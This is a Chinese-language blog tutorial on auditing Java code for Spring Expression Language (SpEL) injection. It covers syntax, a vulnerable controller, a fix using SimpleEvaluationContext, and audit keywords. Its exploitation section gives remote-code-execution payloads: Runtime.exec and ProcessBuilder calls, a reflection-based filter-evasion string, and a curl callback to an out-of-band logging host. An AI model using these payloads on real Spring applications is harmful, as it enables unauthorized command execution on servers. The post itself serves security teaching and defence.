• java代码审计-SpEL表达式注入


    0x01 前言

    Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言

    0x02 SpEL 语法

    SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

    • 引用其他对象: #{car}
    • 引用其他对象的属性:#{car.brand}
    • 调用其它方法 , 还可以链式操作:#{car.toString()}
    • 其中属性名称引用还可以用{someProperty} `

    除此以外在SpEL中,使用T() 运算符会调用类作用域的方法和常量。类类型表达式:使用"T(Type)"来表示 java.lang.Class 实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段
    例如,在SpEL中使用Java的Math类,这样使用T()运算符:#{T(java.lang.Math)}
    T()运算符的结果会返回一个java.lang.Math类对象

    0x03 SpEL 使用方式

    SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值

    ExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression("('Hello' + ' lisa').concat(#end)");
    EvaluationContext context = new StandardEvaluationContext();
    context.setVariable("end", "!");
    System.out.println(expression.getValue(context));
    
    1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
    2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
    3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据
    4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
    • Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值
    • EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等

    spel表达式有三种用法:

    1. 注解
    @value("#{表达式}")
    public String arg;
    

    这种一般是写死在代码中的,不是关注的重点

    1. xml
    <bean id="Bean1" class="com.test.xxx">
    	<property name="arg" value="#{表达式}">
    bean>
    

    这种情况通常也是写死在代码中的,但是也有已知的利用场景,就是利用反序列化让程序加载我们实现构造好的恶意xml文件,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等

    1. 在Controller中处理外部传入的表达式

    这部分是关注的重点

    @RequestMapping("/spel")
    public String spel(@RequestParam(name = "spel") String spel) {
        ExpressionParser expressionParser = new SpelExpressionParser();
        Expression expression = expressionParser.parseExpression(spel);
        Object object = expression.getValue();
        return object.toString();
    }
    

    0x03 漏洞利用

    1. 漏洞可以利用的前置条件有三个:
    • 传入的表达式未过滤
    • 表达式解析之后调用了getValue/setValue方法
    • 使用StandardEvaluationContext(默认)作为上下文对象
    1. spel表达式功能非常强大,在漏洞利用方面主要使用这几个功能:
    • 使用T(Type)表示Type类的实例,Type为全限定名称,如T(com.test.Bean1)。但是java.lang例外,该包下的类可以不指定包名。得到类实例后会访问类静态方法与字段。
    T(java.lang.Runtime).getRuntime().exec("whoami")
    
    • 直接通过java语法实例化对象、调用方法
    new ProcessBuilder("whoami").start()
    
    //可以利用反射来绕过一些过滤
    #{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
    

    0x03 案例

    /**
         * SpEL to RCE 
         * http://localhost:8080/spel/vul/? 
    expression=xxx. 
         * xxx is urlencode(exp) 
         * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") 
         */ 
    @GetMapping("/spel/vuln") 
    public String rce(String expression) { 
        ExpressionParser parser = new SpelExpressionParser(); 
        // fix method: SimpleEvaluationContext 
        return parser.parseExpression(expression).getValue().toString(); 
    } 
    

    如果不指定默认使用StandardEvaluationContext作为上下文对象,注意payload需要URL编码
    payload:http://localhost/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
    image.png

    0x03 漏洞防御

    使用SimpleEvaluationContext作为上下文对象。
    修复代码:

        @GetMapping("/spel/sec")
        public String spel_sec(String expression) {
            ExpressionParser parser = new SpelExpressionParser();
            //只读属性
            EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
            return parser.parseExpression(expression).getValue(context).toString();
        }
    

    0x04 总结

    审计方法:
    可以先全局搜索 org.springframework.expression.spel.standard, 或是 expression.getValue()expression.setValue(),定位到具体漏洞代码,再分析传入的参数能不能利用,最后再追踪参数来源,看看是否可控
    关键词SpelExpressionParserStandardEvaluationContext
    参考链接Java特色-表达式注入漏洞从入门到放弃

  • 相关阅读:
    SQL SERVER中存储过程的使用场景
    我发现了,提升销售业绩的秘密武器!
    数据结构与算法之矩阵: Leetcode 48. 旋转矩阵 (Typescript版)
    Nmap渗透测试指南之渗透测试
    Flutter中set和get方法
    UI自动化测试还可以这样做?后悔没早点知道。
    在Unity中制作路网
    Linux操作系统 - 进程
    面试题:Flink反压机制及与Spark Streaming的区别
    Git clone 提示“Could not resolve hostname”解决
  • 原文地址:https://www.cnblogs.com/Ne2o1/p/17197346.html